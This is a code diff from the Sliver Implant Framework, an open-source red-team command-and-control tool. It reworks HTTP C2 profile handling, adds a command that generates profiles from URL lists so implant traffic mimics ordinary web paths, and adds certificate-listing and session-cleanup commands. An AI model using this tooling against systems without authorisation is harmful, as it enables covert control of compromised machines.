|
||||
})
|
||||
}
|
||||
implantConfig.Headers = headers
|
||||
@@ -208,50 +266,19 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
stagerFiles []string
|
||||
pollFiles []string
|
||||
sessionFiles []string
|
||||
closeFiles []string
|
||||
stagerPaths []string
|
||||
pollPaths []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
files []string
|
||||
paths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, pathSegment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, pathSegment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, pathSegment.Value)
|
||||
case 3:
|
||||
stagerFiles = append(stagerFiles, pathSegment.Value)
|
||||
}
|
||||
files = append(files, pathSegment.Value)
|
||||
} else {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, pathSegment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, pathSegment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, pathSegment.Value)
|
||||
case 3:
|
||||
stagerPaths = append(stagerPaths, pathSegment.Value)
|
||||
}
|
||||
paths = append(paths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
implantConfig.PollFiles = pollFiles
|
||||
implantConfig.SessionFiles = sessionFiles
|
||||
implantConfig.CloseFiles = closeFiles
|
||||
implantConfig.StagerFiles = stagerFiles
|
||||
implantConfig.PollPaths = pollPaths
|
||||
implantConfig.SessionPaths = sessionPaths
|
||||
implantConfig.ClosePaths = closePaths
|
||||
implantConfig.StagerPaths = stagerPaths
|
||||
implantConfig.Files = files
|
||||
implantConfig.Paths = paths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
@@ -259,6 +286,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
Method: header.Method,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -278,12 +306,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
|
||||
jsonConfig, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return jsonConfig, nil
|
||||
return &config, nil
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
@@ -294,101 +317,66 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
for _, file := range config.ImplantConfig.Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
for _, path := range config.ImplantConfig.Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
for _, clientHeader := range config.ImplantConfig.Headers {
|
||||
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
|
||||
Method: clientHeader.Method,
|
||||
Name: clientHeader.Name,
|
||||
Value: clientHeader.Value,
|
||||
Probability: int32(clientHeader.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
for _, urlParameter := range config.ImplantConfig.URLParameters {
|
||||
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{
|
||||
Method: urlParameter.Method,
|
||||
Name: urlParameter.Name,
|
||||
Value: urlParameter.Value,
|
||||
Probability: int32(urlParameter.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: config.ImplantConfig.NonceMode,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int32(config.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int32(config.ImplantConfig.MinPathGen),
|
||||
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int32(config.ImplantConfig.MinPathLength),
|
||||
Extensions: config.ImplantConfig.Extensions,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
for _, method := range serverHeader.Methods {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: serverHeader.Method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
@@ -431,7 +419,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Value)
|
||||
serverHeaders = append(serverHeaders, header.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
@@ -456,7 +444,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Value)
|
||||
clientHeaders = append(clientHeaders, header.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
@@ -487,96 +475,65 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query length",
|
||||
profile.ImplantConfig.NonceQueryLength,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce mode",
|
||||
profile.ImplantConfig.NonceMode,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
profile.ImplantConfig.MaxFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
profile.ImplantConfig.MinFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
profile.ImplantConfig.MaxPathGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
profile.ImplantConfig.MinPathGen,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
"Max path length",
|
||||
profile.ImplantConfig.MaxPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
"Min path length",
|
||||
profile.ImplantConfig.MinPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
"File extensions",
|
||||
strings.Join(profile.ImplantConfig.Extensions, ","),
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
paths []string
|
||||
files []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
files = append(files, segment.Value)
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
paths = append(paths, segment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
"Paths",
|
||||
strings.Join(paths[:], ",")[:50] + "...",
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
"Files",
|
||||
strings.Join(files[:], ",")[:50] + "...",
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
@@ -598,3 +555,59 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
|
||||
return c2profile
|
||||
}
|
||||
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
// update the template with the urls
|
||||
|
||||
var (
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
for _, urlPath := range urls {
|
||||
parsedURL, err := url.Parse(urlPath)
|
||||
if err != nil {
|
||||
fmt.Println("Error parsing URL:", err)
|
||||
continue
|
||||
}
|
||||
|
||||
dir, file := path.Split(parsedURL.Path)
|
||||
dir = strings.Trim(dir, "/")
|
||||
if dir != "" {
|
||||
paths = append(paths, strings.Split(dir, "/")...)
|
||||
}
|
||||
|
||||
if file != "" {
|
||||
fileName := strings.TrimSuffix(file, filepath.Ext(file))
|
||||
filenames = append(filenames, fileName)
|
||||
ext := strings.TrimPrefix(filepath.Ext(file), ".")
|
||||
if ext != "" {
|
||||
extensions = append(extensions, ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(extensions)
|
||||
extensions = slices.Compact(extensions)
|
||||
|
||||
slices.Sort(paths)
|
||||
paths = slices.Compact(paths)
|
||||
|
||||
slices.Sort(filenames)
|
||||
filenames = slices.Compact(filenames)
|
||||
|
||||
// 5 is arbitrarily used as a minimum value
|
||||
if len(paths) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
|
||||
}
|
||||
|
||||
if len(filenames) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
|
||||
}
|
||||
|
||||
template.ImplantConfig.Extensions = extensions
|
||||
template.ImplantConfig.Paths = paths
|
||||
template.ImplantConfig.Files = filenames
|
||||
return template, nil
|
||||
}
|
||||
@@ -39,7 +39,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
@@ -58,6 +60,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
generateC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2GenerateStr,
|
||||
Short: "Generate a C2 Profile from a list of urls",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr + "." + consts.C2GenerateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
GenerateC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
|
||||
flags.Bind(consts.GenerateStr, false, generateC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file containing URL list, /hello/there.txt one per line")
|
||||
f.BoolP("import", "i", false, "Import the generated profile after creation")
|
||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||
})
|
||||
|
||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
C2ProfileCmd.AddCommand(generateC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(importC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
|
||||
|
||||
|
||||
@@ -0,0 +1,181 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
const (
|
||||
timeFormat = "2006-01-02 15:04:05 UTC-0700"
|
||||
)
|
||||
|
||||
// Defining the transport filters
|
||||
const (
|
||||
MTLSTransport uint32 = 1 << iota
|
||||
HTTPSTransport
|
||||
AllTransports
|
||||
)
|
||||
|
||||
// Defining the role filters
|
||||
const (
|
||||
// Provide some separation between the options so that we do not have duplicate combinations
|
||||
ServerRole uint32 = 8 << iota
|
||||
ImplantRole
|
||||
AllRoles
|
||||
)
|
||||
|
||||
func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Since we are sending this value in a protobuf, we will give it a fixed bit size
|
||||
// 32 is the smallest we can go
|
||||
var chosenOptions uint32
|
||||
|
||||
if cmd.Flags().Changed("mtls") {
|
||||
if cmd.Flags().Changed("https") {
|
||||
chosenOptions = AllTransports
|
||||
} else {
|
||||
chosenOptions = MTLSTransport
|
||||
}
|
||||
} else if cmd.Flags().Changed("https") {
|
||||
chosenOptions = HTTPSTransport
|
||||
} else {
|
||||
chosenOptions = AllTransports
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("server") {
|
||||
if cmd.Flags().Changed("implant") {
|
||||
chosenOptions |= AllRoles
|
||||
} else {
|
||||
chosenOptions |= ServerRole
|
||||
}
|
||||
} else if cmd.Flags().Changed("implant") {
|
||||
chosenOptions |= ImplantRole
|
||||
} else {
|
||||
chosenOptions |= AllRoles
|
||||
}
|
||||
|
||||
request := &clientpb.CertificatesReq{
|
||||
CategoryFilters: chosenOptions,
|
||||
}
|
||||
|
||||
request.CN, _ = cmd.Flags().GetString("cn")
|
||||
|
||||
// Ask the server for information about certificates
|
||||
certificateInfo, err := con.Rpc.GetCertificateInfo(context.Background(), request)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get certificate information from database: %s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
printCertificateInfo(con, certificateInfo.Info)
|
||||
}
|
||||
|
||||
func checkCertExpiry(expiryTime time.Time) string {
|
||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||
return console.Bold + console.Red
|
||||
}
|
||||
|
||||
// One week is 168 hours - this is bad
|
||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||
return console.Bold + console.Red
|
||||
}
|
||||
|
||||
// One month is approximately 730 hours - this is a warning
|
||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||
return console.Bold + console.Orange
|
||||
}
|
||||
|
||||
return console.Normal
|
||||
}
|
||||
|
||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||
// Get the terminal width
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
if len(certData) == 0 {
|
||||
con.PrintWarnf("There are no certificates in the database matching the given parameters.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Creation Time",
|
||||
"Certificate Type",
|
||||
"Key Algorithm",
|
||||
"Validity Start",
|
||||
"Expires",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Expires",
|
||||
})
|
||||
}
|
||||
|
||||
for _, cert := range certData {
|
||||
rowColor := console.Normal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||
// This should not error out, but if it does, the row will not be colored
|
||||
if err == nil {
|
||||
rowColor = checkCertExpiry(expiry)
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package certificates
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
certificatesCmd := &cobra.Command{
|
||||
Use: consts.CertificatesStr,
|
||||
Short: "Certificate management",
|
||||
Long: help.GetHelpFor([]string{consts.CertificatesStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CertificateInfoCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
flags.Bind(consts.CertificatesStr, false, certificatesCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("mtls", "m", false, "Show MTLS certificates")
|
||||
f.BoolP("https", "p", false, "Show HTTPS certificates")
|
||||
f.BoolP("implant", "i", false, "Show implant certificates")
|
||||
f.BoolP("server", "s", false, "Show server certificates")
|
||||
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
|
||||
})
|
||||
|
||||
return []*cobra.Command{
|
||||
certificatesCmd,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
package clean
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
|
||||
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := removeSessionsAndBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = removeImplantBuilds(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = removeProfiles(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("All done !\n")
|
||||
}
|
||||
|
||||
func removeImplantBuilds(con *console.SliverClient) error {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for name, _ := range builds.Configs {
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeProfiles(con *console.SliverClient) error {
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, profile := range profiles.Profiles {
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: profile.Name,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeSessionsAndBeacons(con *console.SliverClient) error {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, session := range sessions.Sessions {
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: flags.DefaultTimeout,
|
||||
},
|
||||
Force: false,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, beacon := range beacons.Beacons {
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Commands returns the `exit` command.
|
||||
func Command(con *console.SliverClient) []*cobra.Command {
|
||||
return []*cobra.Command{{
|
||||
Use: "clean",
|
||||
